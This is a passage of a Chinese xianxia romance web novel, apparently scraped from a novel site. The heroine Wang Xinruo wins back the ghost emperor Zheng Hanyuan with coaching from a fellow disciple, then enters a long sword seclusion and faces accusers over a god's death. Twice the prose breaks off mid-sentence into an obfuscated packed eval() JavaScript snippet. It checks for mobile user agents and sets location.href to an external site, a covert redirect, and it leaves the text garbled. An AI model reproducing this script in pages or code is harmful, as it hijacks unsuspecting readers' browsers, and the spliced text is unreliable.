“只要有记忆,谁能分的清……我就是我,无论多少世,也都是我。” 林果果叹息,其实这事她也弄不明白。 而且,她觉得仙长也没弄明白。 如果仙长如她所言,真的能将每一世的自己和现实中的自己分开,她就不会抗拒见到诸仙君,她就应该坦坦荡荡和他们接触。她也就不会在师叔被陛下虐打时选择冷眼旁观,且在之后无法直面他的愧疚,选择直接离去。 心中尚有怨尤,何尝不是在逃避。 “哦,我懂了!”林果果忽然开口,“原来这才是情劫的劫。地黄境仙人才会有情劫,不知待我修炼到那时,我会等到怎样的劫难呢?” “旁人避着劫,你却在期待劫?” “想,我一向是个没心没肺的,我倒想瞧瞧什么样的男人才能骗走我的心,那一定很难。不过说不定我才是负心的那个……” 陶闻生被她逗笑,抑郁的心情也稍微晴朗些。 * 王心若和郑含元行至一重天,即将入人间。 这一路上郑含元没说一句话。 王心若感到压抑的气氛,想开□□络下气氛,得来的也只是沉默,她索性也不开口。 郑含元不是话少的人,他不说话,心里一定藏着事。 “就到这吧。”他淡淡道。 “怎么了,你要赶我走?” 两人还牵着手,这氛围却十分诡异。 “天界适合你休养,暂时别回鬼域,阴气重。” 明明是关心的话,听起来却很生硬。 王心若观察着他的表情,却发现对方似乎不太想和她有视线接触。她嗯了会,回道:“还行吧,你身边阳气挺重。” 原以为皮一下能让郑含元稍微笑笑,可他却直接放开她的手,说声“我走了”就欲离开。 王心若没反应过来,“……怎么就走了?” 他道:“你不去厉川看看他。” “我……看他?”她微愣,“我都跟你走了,怎么看他?” “天界如今一团乱麻,你不管?” 王心若思考一下,“好像是得管,听果果说,他们都快把天界搞分裂了,着实气人。” “行,你去管。”郑含元依旧冷漠,一脚已然踏上纵春秋。 王心若赶忙拉住他衣袖道:“不管了不管了,如今仙盟盟主不是我,我且歇段时间再说。” 可她说完,总觉得这话有些违心,于是补道:“可这样怠惰下去也不行,时日无多,得赶紧行动起来……” 本来郑含元还耐着性子站那儿,一听她补的这句话,直接把袖子扯回去,御剑离去。 “含元,郑含元!”王心若喊他几声,他也不回头。 此地只留她一人孤孤单单。 王心若心里极郁闷,她不知道哪里说错做错惹着他。 说真话有错么?他又不是不了解她。 何况,这狗子居然把她一人留在一重天,让她去哪儿?往下去不了鬼域,向上回不到云渚。 郑含元应该会回来吧?她怀着这样的想法,索性就地打坐修炼,等他乖乖回来带她下界。 结果是,她打坐六个时辰,看一重天的太阳渐落,看蓝天变黑,也没人回来找她。 呵呵。 王心若抑着怒火,从身上摸出一块玉简。 幸好她身上还留个和赵玄檀联系的玉简,不然她怕是要在一重天生根发芽。 “玄檀,速来一重天。” 赵玄檀原本正卧在软榻上吃着黄阮阮喂来的樱桃,腰间玉简忽然发热,他赶忙拿起来,听到王心若的吩咐,一刻也不敢耽搁,从温柔乡马不停蹄赶到一重天。 “师姐怎么会在一重天?”赵玄檀手中拿着白裘给她裹上,“夜间寒凉,师姐莫着凉。” “说来话长。” 就是不想说的意思。 赵玄檀问:“师姐要回云渚么?” 王心若犹豫一会,“不了。” “那,师姐叫玄檀来,有何事吩咐?” 原是想让他带她回云渚,但看见他花枝招展、春风得意的样子,她又有别的想法。 “嗯……我想问些你比较擅长的事。” “师姐,我除了亡国还有什么擅长的事?”他还记得她之前训他时说他“亡国昏君”。 “挺记仇?” “不……哪敢哪敢。” “我问你,关系比较好的一对男女里,男子为何无缘无故对那女子生气,生气为何?” 她问的虽然含蓄笼统,但赵玄檀毕竟在情场摸爬滚打多年,大概明白她想问什么,又则,当年,他在诸师弟中算和某位叛出云渚的师兄走的比较近的,大概知道他们之间一些事。 赵玄檀斟酌片刻,回道:“多半是觉得那女子不理解他,或是不满那女子的一些做法。还有就是,他在这段关系中,是弱势的那一方。” “弱势?”都敢把她一人丢在这还弱势,那要强起来还得了。 “呃,这有两种情况。一,他爱女子更甚女子爱他;二,两人付出感情对等,可拥有的东西不对等,所以他觉得不安全。” “不安全?” “哎……玄檀就自作主张,拿自己举例。譬如我同阮阮,纵然我怜爱她与她敬爱我的程度差不多,但总是她心里不安全多些。因为除我外,她无法和其他男子在一起,可我若想招仙婢仙妾,却易如反掌。” 王心若听得一阵无语,“你还挺得意?” “各取所需。” “那女子又不是你,除男子之外,也不想再要其他人。” “师姐,能不能和会不会向来就是两个问题,这拥有的东西是能不能,而不是会不会。” 王心若更郁闷,“女子的确不会,男子为何不信?” “他心里不安全……” “那该怎么办?” 赵玄檀很自然说道:“哄啊。只要你会哄,没有哄不好的。” 王心若狐疑地望着他,“怎么哄?” 说起这个,赵玄檀来劲了,他抚上身旁树枝,道:“首先,接近他,悄悄和他来些肢体接触,一定是不经意的,让他很难发现但发现后却又有些心痒痒的。然后,拿可怜的眼神望着他,撒撒娇,说说情话,这样可以让他原本嚣张的气势瞬间砍半。最后,表示以后一定理解他,推心置腹和他谈一番,解开心结。” “你这个肢体接触说得很玄。” “师姐,要不咱们试试,你就懂了?” “滚。” 试试就逝世。 赵玄檀咳了一声,讲解道:“打个比方,你悄悄走到他身边坐下,手轻放在他的腿上;或者捻起他一缕头发把玩;或者用自己手背轻轻靠在他的手旁。不用太明显,但一定是那种若有若无、可进可退的动作。就好像手背靠手背,若是谈崩了,你直接抽手离开,若是氛围还好,你就越靠越近,趁气氛大好时,再握住他的手。” 王心若点点头,“你真行,那撒娇呢?” “撒娇不是所有姑娘都会的必杀技么?阮阮可会撒娇了,你们惊鸿派没教过?” 赵玄檀的问话在王心若死亡凝视下,声音越来越小。 “好好讲。” “好……撒娇,首先要在称呼上下功夫。你一定要把他的名字叫得千回百转、缠绵悱恻,最好靠在他耳边轻轻说,声音要软,气息要热,光想想,我都觉得受不了……” “不要自我陶醉。” “哦,我继续。如果你们之间有什么独特的称呼也一股脑说出来,他喜欢哪个你就说哪个,什么郎啊好哥哥啊,别害羞,全喊出来,我保证这之后,他要不任你宰割,他就不是男人。你的自称也要变一变,比如自称名字,自称人家等等……” 王心若“噫呃”了声,她一边觉得赵玄檀好生风.骚,一边却该死的有些上头。 “这时候气氛开始升温,你就该说些好听话开哄了,最好还是有来有往那种话。比如,‘我想问条路’,他回‘什么路’,你就回‘到你心里的路’。再比如,‘年夜的鞭炮好响’,他问‘怎么了’,你回‘再响也没我想你那么想’,等等。” “我听着,怎么觉得这么不靠谱。” “这话都是打个比方,要临场随机应变。” “哦……然后就可以推心置腹,好好谈谈,打开心结了是么?” 赵玄檀不好意思一笑,“是吧。” 是个屁,一般到这一步,谁还有兴趣推心置腹讲那些东西。 王心若看他古怪的神色,道:“玄檀,你莫这样,我害怕。” 赵玄檀赶忙正色。 王心若叹息,“哎,好难呐,好 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……丢人。 丢死个人。 王心若懒得安慰他,对白骨道:“白郎,你去把流光叫出来。” 让这两个狼狈为奸去。 白骨应下,不仅从里面叫出任流光,还把郑小明抱出来,顺便把一众鬼侍也遣散。 郑小明看见王心若,甜甜叫了声“娘!” 赵玄檀目瞪口呆,“师姐,你……你连孩子都有了!” 王心若嗯了声,“可爱不?” “可可可可可可爱。”赵玄檀惊得舌头打了结。 他以为师兄师姐不过是暧暧昧昧,没想到娃都这么大了。 天界那群师兄弟还争个锤子? 白骨离开前,和王心若说:“娘娘啊,陛下在处理公务,看起来心情不太好的样子,我们也不知怎么安慰他,你多费心。” 赵玄檀还想问什么,被任流光捂着嘴带走。 王心若深呼吸做了个准备,缓缓步入鬼帝殿。 乌发高束,身着金边白衣的男子坐在案后,似乎很认真地看着什么,还时不时写写画画。 啧,真是个勤政爱民的好鬼帝。 一联想到他那狗爬字,王心若止不住想笑。 她轻声关上门,走到他身边。 郑含元没反应。 太假了,他肯定知道她进来了,可他就是不说。他不说,她也不说。 她走到他身后,看他在写什么。 他好像很心虚似的把那纸收起来,她什么也没看见。 他从一叠纸里抽出一张,貌似认真地阅读。 “……你拿反了。”王心若忍不住出声提醒。 郑含元回头瞥她,头皮却忽然一痛,嘶了一声。 原来王心若刚刚按照赵玄檀教的方法,悄悄绕了一缕他的头发在指尖,谁想他就回头了。 她赶快放开那缕头发。 憨批赵玄檀,教的都什么垃圾方法。 郑含元用一种似瞪似憋屈的眼神看她一眼,她差点笑出声。 没事,头发不行还有别的。 她搬个凳子做到他旁边,装作看他看的东西,实际上右手悄悄挨到他的左手。 郑含元却好似很敏感,一被碰,就把左手往里收收。 王心若不服,他躲她就凑,完全忘了赵玄檀所说的“若有若无、可进可退”。 郑含元躲无可躲,沉声问道:“你到底想做什么?” ……怎么会这样,她听赵玄檀说时明明很心动的,结果郑含元就这反应? 没事,从哪里跌倒就从哪里站起。 王心若没回话,收回手,悄悄搭在他腿上。 郑含元闭上眼,长长呼一口气,有些烦躁地翻着桌上一沓纸,速度快到王心若觉得他根本没看进去。 这该死的嘴硬的男人。 见他不理自己,王心若不知该怎么进行下一步,只好咳了一声。 郑含元没反应。 王心若又咳了一声。 “你到底想干什么,奇奇怪怪的?”郑含元看向她问道。 也许是他音量稍微大了些,竟然真让她心中一委屈。 ——我这么讨好你哄你,你居然吼我? 这么想着,眼里居然真得开始酝酿出水雾。 可以,应该就是这种感觉,王心若持续这样想,尽量让自己双眼开始水光盈盈。 接下来是干什么来着……叫名字,对。 她轻声道:“含元……” 含元本人语气冷硬:“干什么?” “如官……” 依旧冷硬,“干什么?” 不对,应该叫他喜欢的称呼。他喜欢什么称呼来着? 王心若左思右想,恍然大悟,凑到他耳边说了声,“思如哥哥。” 话音刚落,别说郑含元什么反应,王心若自己起了一身鸡皮疙瘩。 忍住,忍住! 看着郑含元渐渐变红的耳根,她心中暗喜,有反应,有反应,赵玄檀果然有一手。 她趁热打铁道:“思如哥哥,你为什么不理人家?” 郑含元听到她这句话,直接抚额,“王心若,你没被夺舍吧?” 明明耳朵都红了,嘴还这么硬。 王心若乘胜追击,道:“思如哥哥,你把人家放在一重天,人家都迷路了。” 郑含元:…… 郑含元:“你自己说的话你信么?” 好了,有回应就行。 王心若说:“人家真的迷路了,人家找不到到你心里的路了。” 50. 常怀千岁忧(3) 50.常怀千岁忧(3) 时间,好像在这一刻忽然停止。 沉默,是今晚的奈何桥。 说出去的话泼出去的水,王心若恨不得那嘴不是自己的嘴。 郑含元起身,拿起那沓纸,微皱着眉,瞥她一眼,冷声道:“简直离谱。” 说罢,转身进了内室。 王心若:? “郑含元,郑思如!”她急着跟进去,却发现那厚重的门前设了结界,她推不开门,喊几句也不见里面有动静。 脾气怎么这么大? 王心若怒气也上来了,转身离开宫殿。 一出门外,发现那几个大兄弟正站在一起,用一种诡异的表情望着她。 见她面色不善,各自移开视线,摸头的模头,整衣襟的整衣襟,咳嗽的咳嗽,纷纷和身边人没话找话起来,只有郑小明还没来得及收起脸上的傻笑。 她走到赵玄檀身前。 “师姐,怎么……了?”赵玄檀心中忐忑,小声问她。 王心若冷哼一声,“简直离谱。” “啊?” “我真是信了你的邪。” “我冤枉啊师姐,我对你那可是倾囊以授、毫不留私、一片赤诚。” “那我为何……”还是被赶出来。 王心若忍着没说后半句,扯着赵玄檀衣袖把他拉到一旁,把事情原委告诉他,“你的方法不灵。” “不可能,师姐,你真用了我的方法么?” “你质疑我?” “不不不,师姐学什么都快,学这点雕虫小技绝对没问题,肯定是我少教什么。”赵玄檀想了想,说道:“这样的情况,应是师兄太害羞,承受不住,不知该怎么回应,索性逃避不回应。” “照你这么说,我现在应该冷着他?” 赵玄檀摇摇头,“不,这个时候,更要下猛药。” “猛药可是会吃死人的。” “师姐,听我说……”赵玄檀继续给她出谋划策,她听着听着,频频点头。 听到最后,她皱起眉头,“你可真敢说,不怕我削死你。” “嗯……这个,后面这些可用可不用,全看师姐心情。” “好吧,我再试一次。成则成,不成你等着。” 王心若理理衣裙,随便拨了几缕发丝在鬓旁,又往殿里走去。 赵玄檀才如释重负回到兄弟们中间,任流光撞撞他肩膀,“你给师姐出什么馊主意了?” “也没什么,你懂的。”赵玄檀向他抛了个媚眼。 任流光被他的眼神激起一身鸡皮疙瘩。 * 王心若再次走到内室门前,敲敲他的门,轻声道:“思如哥哥,你快开门呐,人家有话想和你说……” “这样也能说。”里面传来淡漠的声音。 “不行,这话只能在你耳旁说,不能大声说,不能让别人听到。” 里面一阵沉默。 王心若也有些尴尬,毕竟像郑含元这种境界的修士,她在外头说得再小声,他也能听见。 她轻咳几声,“思如哥哥,人家求求你快开门嘛……” 里面又是一阵沉默。 “你说话正常点。” 王心若说:“今天若我没带玉简,就联系不到玄檀,那我哪也去不了,既下不到鬼域,又回不去云渚,我一个人在一重天,没什么法力,保不齐会被那些低阶修士欺负,万一再蹦出个灵兽,把我伤了怎么办?思如哥哥,人家也会害怕的好不好。” “你会害怕?” 王心若咬咬牙,继续道:“即便是这样,人家也不怪思如哥哥,哥哥这样对人家,一定是人家的错,人家做错了事,就该受到惩罚。思如哥哥原谅人家,开开门,人家给你赔礼道歉。” 说完这句话,她已经完全不认识“哥哥”和“人家”两个词。 只是觉得自己多年的高冷形象在郑含元前已经碎得连渣也不剩。 而且,喉咙还有些发哽。 只听里面传来一声微微的叹息。 胜利的曙光就在眼前! 王心若弱力弱气道:“思如哥哥,我头忽然好痛,好难受,我要晕过去了……啊,我摔倒了……” 为显得逼真,她跺了个脚,缓缓坐在地上,轻轻揉着额头。 里面果然传来脚步声。 成了,成了,这惨卖成了。 这男人但凡有点心,就不会放任她不管。 门果然开了,王心若在门开一瞬,装作昏过去一般倒了下去。 “若若!”郑含元原本还冷漠得很,见状果然急了,赶忙蹲下接住她,“你怎么了?” 她不说话,作出一副十分虚弱的模样。 郑含元将她轻轻横抱起来,放到床榻上,坐在床边,抚她的额头、面颊,“怎么会头疼,是旧记忆忽然涌上来了么?想不想睡觉?或者我给你输些灵气帮你暖暖身子?” 她原本眯着眼,看到他急切的表情,有些感动又有些心虚。最后睁开右眼,小声道:“不用,我还好。” 郑含元面上紧张这才褪去,然后逐渐归于平静。 半晌,他微眯着双眼问她:“你不是骗我的吧。” 王心若望着他,眨眨眼,语气满是无辜,“见不到思如哥哥的时候,头就很痛,见到就不痛了。” 赵玄檀教她的后面那句,她实在说不出口。什么哥哥是我的药,一刻也离不开…… 她快到极限,再过一些,承受不住的不是郑含元,是她自己。 话音一落,她见郑含元脸色一黑。 然后,又是抚额,深呼吸,然后转头准备起身。 到手的鬼帝不能飞了,说时迟那时快,她起身从身后搂住他的脖子,“别走了,我真得知错了,你别生气!” “我没生气。” “没生气,今天为什么不理我?还把我一个人丢在那里。” “既然不知道,怎么还说知错。可见心不诚。” ……这逻辑真无懈可击。 她还真反驳不了。 想了会,她从他身后绕到身前,强行落入他怀抱。他坐在床上,她侧坐在他腿上,搂着他的脖子,望着他的双眼,目光盈盈。 郑含元不自然地咳了几声,移开视线,“你干什么?” 王心若道:“不干什么。我不知道自己错哪了,你就跟我说说呗。你说出来,我以后改,一定让你满意。” 赵玄檀说,说这话时一定要语气诚恳,眸光楚楚,然后差不多就可以推进到推心置腹的阶段。 郑含元叹口气,“行吧,我拿你没法。” 沉默片刻,他问她:“你是不是觉得我很不近人情?” 王心若摇头,“没有,你很好。” “那今天为何去虚妄天,是怕我把陶闻生打死么?” “这……”王心若不好瞒他,只好点头。 郑含元轻扯嘴角,“所以在你心里,我就是那种没分寸之人,妒心炽盛,冲昏头脑,以至让我杀害同门师弟。” “我……”看上去的确是在下死手。 不过好像又是看起来惨烈,那伤倒真不至于让他身死道消。 “你看,你不信我。” “我没有……” 郑含元伸出手抚上她的右颊,指腹轻轻摩挲过那颗红痣,叹息道: “我知道,情劫是情劫,真实是真实。可是若若,你有没有想过,从我离开天界的五百万年间,我有什么机会能见到你?我又有什么机会能见到不对我冷颜相对的你?” “我每每见你,你都要封印我,我们总是拔剑相向……也许,你是为我好,可我的心就一点都不难过么?无道荒海之下,一片荒芜黑暗,我对那地方讨厌得紧。冲破封印之后,我不敢再找你,只好等你历劫再寻你。人间那么大,每次都要找很久很久,才能再次相遇。” “情劫对你们来说也许是虚幻,可对我来说,每一次都是真实,是我为数不多能把握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137532|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的真实,是我仅能见到你的机会。除此之外,就是漫长不知尽头的等待。哪怕……哪怕在情劫中,我要一次次看你投入他人怀抱。可我,真的没有别的方法再接近你。那人若能好好对你也罢,若不能,我又救不了你,我该怎么办?” “今日路上,我并非不愿理你,只是我忽然在想,也许我不该打陶师弟,也不该怪他,我真的错了,救不了你,无能的是我,不怪别人。” 王心若安静听完他说这些话。 十世情劫中,最痛苦的大概是他。 他们起码都忘记了,可他全都记得。 他们是局中人,出局便清醒,郑含元虽是“局外人”,实际上从未离开局中,一遍又一遍,相遇又失去。 她搂着他的脖子,道:“你不无能,你很好,都是天意弄人。以后咱们好好的,不会再有那样的事。你也要信我,我心中自始至终都只有你一个。” 郑含元敛眸一笑,“你这话,我可记下了。” 两人相视一笑,算是解开心结。 过一会,王心若故意用之前的口吻道:“那……思如哥哥以后再不准生我气,也不准再冷脸对我!” 她按着赵玄檀说的稍稍撒了个娇,准备做收尾工作,定下两人间再不红脸的约定。 做到这份上,以后再犯可不是她的问题了! 郑含元本要点头,忽然脸色微变,低声道:“你别乱扭。” 王心若还沉浸在撒娇和和好的快乐中,自然而然回嘴道:“人家就扭,人家偏扭,谁让思如哥哥今天这么过分。” 郑含元闻言,倒没之前反应那么大。他哦了一声,淡淡道:“那,小若妹妹是在勾.引我么?” “人家就是在勾……”赵玄檀那些招数太上头,王心若原本沉浸其中,无法自拔,但她忽然感到有什么不同,渐渐冷静下来,有些慌乱道:“我没……” 几乎是瞬间,热意从耳根爬满脸颊。 她赶忙跳下去,想要离开。 却很快被摁回原来的位置。 “小若妹妹是不是忘了些什么?” “什……么?”王心若看着郑含元那逐渐幽深的一双赤眸,听着他低下来的声音和被她同化的赵氏口吻,心底生出一丝害怕。 郑含元把她紧紧拥在怀中,在她耳边轻声道:“赵玄檀的方法,还差最后一招没用上吧?让我来算算,今天小若妹妹用了什么方法——特殊化的称呼、暧昧的肢体接触、刻意撩人的情话、以退为进装弱势装受伤、诚恳认错推心置腹、撒娇定未来契约……最后一步怎么不用了?是怕了?还是认错不诚心?” 王心若越听心越凉,“你怎么知道?” 最后一步,赵玄檀说可用可不用的,是床头吵架床尾和。 就是字面上那个意思。 郑含元勾了勾她的耳垂,低语道:“你忘了,我在天界走得最近的几个人是谁?是赵玄檀、柳宜均、任流光,你觉得……我们四个中,会有哪个不知道这些套路?” “那你就看着我演?” 郑含元学着她的口吻,抱着她摇了摇道:“小若妹妹,你很少对我那么温柔,人家舍不得打破。” 王心若当即就要把他推开。 瑶池都没你们水深,哮天犬都没你们狗。 她气道:“简直离谱!” …… 翌日,赵玄檀看见郑含元脖子上围了一圈玄色的长巾。 “师兄,这是你们鬼域的潮流?” 郑含元淡漠地嗯了声。 淡漠的背后,是火辣辣的疼,从脖颈到后背。 师姐真狠啊…… 别人欢好是轻云细雨、金风玉露、莺啼燕语、春色无边。他们每次都像仇人打架,不是因为奇怪的胜负欲要争个上下主客输赢,就是因为一时太骚没止住而得到激烈的报复。 他昨夜很想再听一次“思如哥哥”的称呼,只可惜,不止昨晚,怕是以后都听不到了。 倒是听了一晚上的王八蛋。 51. 常怀千岁忧(4) 51.常怀千岁忧(4) 王心若不能在鬼域多待,郑含元亦自有事务要忙,二人不日便分别。 临走前,她问郑含元,可记得“明日丑时,金府”这一约定。 郑含元说记得。 “那你记得这约定是怎么来的么?” 他说不知,他从荒林醒来,脑海中这约定便已存在。 王心若说:“我也是。最后逃出时,我知道我在等你,可我不记得何时做的约定。镜中,你我夜会不久后,时间忽然变成第二日,切换得极其突兀。那段时间内一定发生了什么。” 宝镜以识海记忆为基础勾勒虚幻世界,即便是同段时间同样一件事,不同人看会有不同视角,一般而言,视角可互相弥补。可这段时间中发生的事,两人都不记得。 二人夜会时到底发生什么。 原本王心若尚未注意这细节,以为是宝镜法器的自我缺陷,可这些日子越琢磨越不对劲。 情劫之所以成劫,一来缘分总受天意捉弄,二来它或许会将历劫修士的性格缺陷或是心中执念放大,从而导致种种悲剧。 五情炽盛之人更敏感多情,汲汲于名利者更追逐所求,心有所惧则更畏惧那物。那些惨烈的结局,除是天意,也由内因。 所以,堪破情劫的修士便会祛除那些执念、改掉那些缺陷,让自己尽可能修成一颗无牵无挂、无所执着、顺应天意的道心。堪不破情劫的修士,有的受情劫所累,生出心魔;另一些直接弃掉记忆,强迫忘却,纵然如此,也不过省下一时之功,那些缺陷和执念,在未来的仙途中,仍会成为他的牵绊,直到他改正为止。 从这角度来说,忆起情劫倒是打磨道心的好事。 对修士而言,忆起情劫只有零和全的区别,从没听过有人想起一些忘了一些。 所以,那段记忆为何如此反常地双双缺失? 莫非是天意不想让他们记得那段记忆? 这样想着,就十分古怪。除却古怪外,还很刻意。 两人一时也想不出什么答案,暂且把疑问埋在脑海中。 * 此次返天,王心若把任流光带着。 她不能再放任自己耽于情爱,这些欢愉中始终有一个名为“神”的阴影。 她之前花费许多时日打通五经六脉,想将灵气归拢体内,自炼灵根,却都失败,那些灵气虽进入体内,却如泥牛入海,了无影踪。没有办法,她只能像那些修仙世家里的庸才一样,走丹药种灵根的法子,通过赵玄檀向裴嘉求个凝灵丸,强行生成灵根。 这样强行生成的灵根自然不如自生灵根,更不要说她以前的天生灵根。 瑶池莲花,又得神骨相铸,那滋生出的灵根蕴含天地至纯精华,修炼事半功倍。 丹药毕竟是速成方法,比不得常人稳健,自然比不过天然灵华。 但眼下没更好的法子。 灵根不稳,勤勉补之。一回云渚长风崖,王心若便携任流光开始闭关。 期间丹门送来灵丹妙药无数,厉川送来名品法器无数,云渚在崖上设下助益修行的法阵,衍宗递上稳固灵根的十大秘法,至于自在门…… 差不多是个传话筒。 王心若有吩咐时,就召唤赵玄檀,让他转告诸师弟,自己则不再见他人。 诸仙君帮助王心若闭关修行的同时,自己也加紧修炼。 毕竟,他们都收到了来自鬼域的战书。第一个迎战的人,已经在洞府躺尸一个月。 杀鸡儆猴,人人自危。 有郑含元做他们的陪练,王心若能更好专心闭关。 长风崖是云渚除雪山外的最高点,俯瞰云间烟渚,独立崖边,悠享清风,使人心境悠远。 王心若与任流光立于崖边,任风拂鬓发素带,衣袂翩然。 她忽然调侃道:“掌门,如今又是你来与我练剑。” 恍惚忆起在惊鸿派后山习剑那段时日,她所受的来自任流光的亲切教导。 任流光摸了摸鼻子,低下头不敢说话。 “来吧,与我一战。”王心若拿着游日月,对他挑眉道。 “师姐,你修为尚未恢复……”他堂堂古剑剑灵,四舍五入也是地黄境修为,怎么能欺负一个刚结成灵根的修士。 王心若轻笑,“怎么,怕打死我?” “也不是……”确实是。 王心若不理会他的犹疑,忽然出剑,朝他刺去。 他刚想释灵以敌,对方呵止:“流光,剑招以剑招破,莫用灵力。” 任流光赶忙收回灵力,拿剑抵御。 这一战,便让任流光察觉到自身于招式和判断上的生疏。若论灵力,他能碾压此时的师姐,若论招式,他不敌她远矣。 境界虽未恢复,但她好歹是天界剑修秘籍和剑招编纂之人,对剑的驾驭把控仍是炉火纯青。 修为和招式向来相辅相成。 两人打了几十回合,王心若道:“现在,你来用我方才用过的招式,我来破之。” “师姐……我……” “没记住?” 任流光不好意思地点点头。 “那你来破自己的剑招。”王心若没责怪他,用他方才的招式回击,让他抵御。 二人一直破招出招,互找漏洞,互相弥补。终于有一次,任流光察觉到王心若的用剑偏好,预判后巧妙化解。 “对,就像这样。我要你能完完全全预知我的下一步,知晓如何破解,我要你在看我出剑一瞬,就知我下一刻剑尖所向。” “师姐,一次尚可,每次都预见,有些难。” “所以我给你五百年。” “多少年?!”任流光惊道。 “五百年。”王心若抬眸望他,“从今日起,你我在长风崖闭关五百年,一步不得出,我要你对我每一招每一式了如指掌,我要我们的剑招最终无法可破。” “那……你不会想师兄么?” “想,所以才要快。再不抓紧,什么都没了。”王心若说完,叹道:“流光,你当初说奉我为剑主,谨遵契旨,再不相违,可有后悔?当我的剑灵,可是要饱受风霜,不能偷懒的。” 任流光咬咬牙,“流光不后悔,我听师姐的。” “好。” 终日与剑相伴、以战为生是枯燥的。可王心若始终面色平静,既不枯燥乏味,也不走火入魔,只是认真打磨剑法。一日十二时辰,五个时辰修炼心法、稳固修为,五个时辰习剑,教导任流光,剩下两个时辰歇息。 日复一日,年复一年。 天界渐习惯吴秋行和素璇担任的盟主,王心若这名字,对新踏入仙界的人,更似一个曾经的传说。 随着境界的突破,王心若发现自己的容貌身形也渐有变化。 从人间历劫的模样,渐渐恢复成原身模样,只是那颗红痣始终未消。 五百年间,任流光突破天玄境,她原本修为恢复了五成,迈入地黄境。 原欲继续闭关,却被一件“飞来横祸”打断原计划。 吴秋行原不愿打扰他们,实在是这事太大,不得不传一纸通讯符咒,过来通报他们。 一年前,混沌界有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137533|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖魔出世,为祸众生。那妖魔法力高强,深不可测,且神出鬼没,气息极难追踪。 夜间,他出现于人的梦中,在梦境中杀人,防无可防。晨时,他极擅长营造幻象,让人死于幻境中。 修士称之为“幻魔”。 幻魔可怕就可怕在,无人知他模样,无人闻他气息,他混迹于众人中,难以被发觉。 幻魔已杀十名地黄境修士,伤两个天玄境修士,凡人丧命者不计其数,三界损失惨重。 那两个受伤的天玄境修士,一个是慕容修,一个是郑含元。 人人自危,认为幻魔必颠倒三界众生。 天界有人忽然联想到,千年之前,九重天莫名倒下的空明山。 又想起那古老的传言:空明山倒,天地倒悬,日月混沌,巨祸乱世。 这幻魔必是那颠倒三界苍生的巨祸。 问题又来了,空明山为何倒下? 这一点,王心若等人自然再清楚不过。空明山倒,是因那空前浩荡的弑神一战。 为避免惹出是非,随后赶到的诸仙君已经清去仙人记忆。可不知为何,他们忽然又记起来。 他们昏倒前,明明白白记得,是王心若撒下缚仙砂,将他们困住。 堂堂前任仙界盟主,为何使出这样的手段? 后来,天界忽然爆出一个惊天秘闻,扶光神君已逝,就在王心若困住诸仙那一日。 如此看来,事情就很清晰。王心若困住诸仙,弑神以至于空明山崩,空明山崩,则幻魔出,祸乱众生。 但也有不少人为王心若说话,问他人,王心若如何有弑神的动机。 素璇说,动机很明显,扶光神君褫夺她盟主之位,她不服。 天界修士如云,有一人起疑心,这怀疑的情绪便会波及许多人,引发可怕的连锁反应。 事到如今,长风崖已被以素璇为首的修士团团围住,那些修士说,要她给个说法,不然便不散去。 吴秋行向她请示,需不需要师兄弟们将这些乌合之众驱逐离崖。 拿到这传音符咒一瞬,王心若就做好了决定。 “流光,化剑,随我出关。” “师姐,现在出去合适么?不过是群乌合之众,让他们赶走就是。” “乌合之众?若真是乌合之众,小九便不会再来问我这趟。” 任流光虽仍担忧,却不违命,化作金剑,让她背在身后。 王心若随手掐诀,身上衣袍又变为云渚道袍,手中持着拂尘,朝崖下飞去。一身风华,与旧时无异。 长风崖下乌压压的人,似有千数之多。放眼望去,还都非低境修士。 素璇等人在长风崖下守了许久。 这短短一年,天界被幻魔搞得人心惶惶,谁都不知下一个受伤的人是谁, 毕竟,将王心若排除在外后,天界地界修为最高的两人都先后因幻魔而伤,昏迷不醒。那修为低于他们的人,基本死路一条。 若王心若真与那空明山崩有关,那她必要为幻魔出世而负责。 就在等待中,空气中忽然隐隐弥漫着一段似生长于寒夜的白梅幽香,细细嗅之,那点香却不见,只留下冰碎雪溶的沁凉。 众人抬头,只见天色轻风中,似有雪浪银光翻涌。 冷风扬起来人鸦鬓云发,如晕开一笔写入山水画中的渺渺墨色。 来人雾髻云鬟松挽,红珠莲簪斜缀,云纹白缎相系,散落乌发间。 白衣身影翩然落地,向众人淡淡道: “云渚王心若见过诸位,云集于此,敢问何事?” 52. 秋风生渭水(1) 52.秋风生渭水(1) 除了素璇外,大部分修士并未亲眼目睹王心若真容,如今见她雪肤花貌,容色清冷,心中不觉一惊,道那话本传言果然不假。 当真是位玉雕冰砌的仙人。 素璇语气恭敬道:“心若师姐,我等聚于长风崖,不求别的,只想讨一个说法。” 王心若清楚前因后果,懒得说那些弯弯绕绕的客套话,望着她,轻勾唇角,“我杀的。” 素璇没反应过来,“什么?” “你师父,我杀的。“王心若朝她挑眉道:“你不就是想问这个么?我如实相告。” 素璇被她不按常理出牌的回话弄得一阵愣神,反应过来才回道:“你,你果然弑神了!” 王心若轻笑着点头,毫不回避。 素璇怒道:“罪仙王心若,果然是你杀了师尊!你不仅违背神旨,还犯下如此弥天大错,本应遭受天谴,接受天罚,为何还安稳无恙?”素璇皱起眉头,而后打量她一番,才恍然大悟道:“原来你修为已退化至地黄境初阶了……” 她说地黄境时,语气俨然有些瞧不上的意思。王心若神识稍微探一探她,发现她已迈入天玄境,怪不得看不上如今的自己。 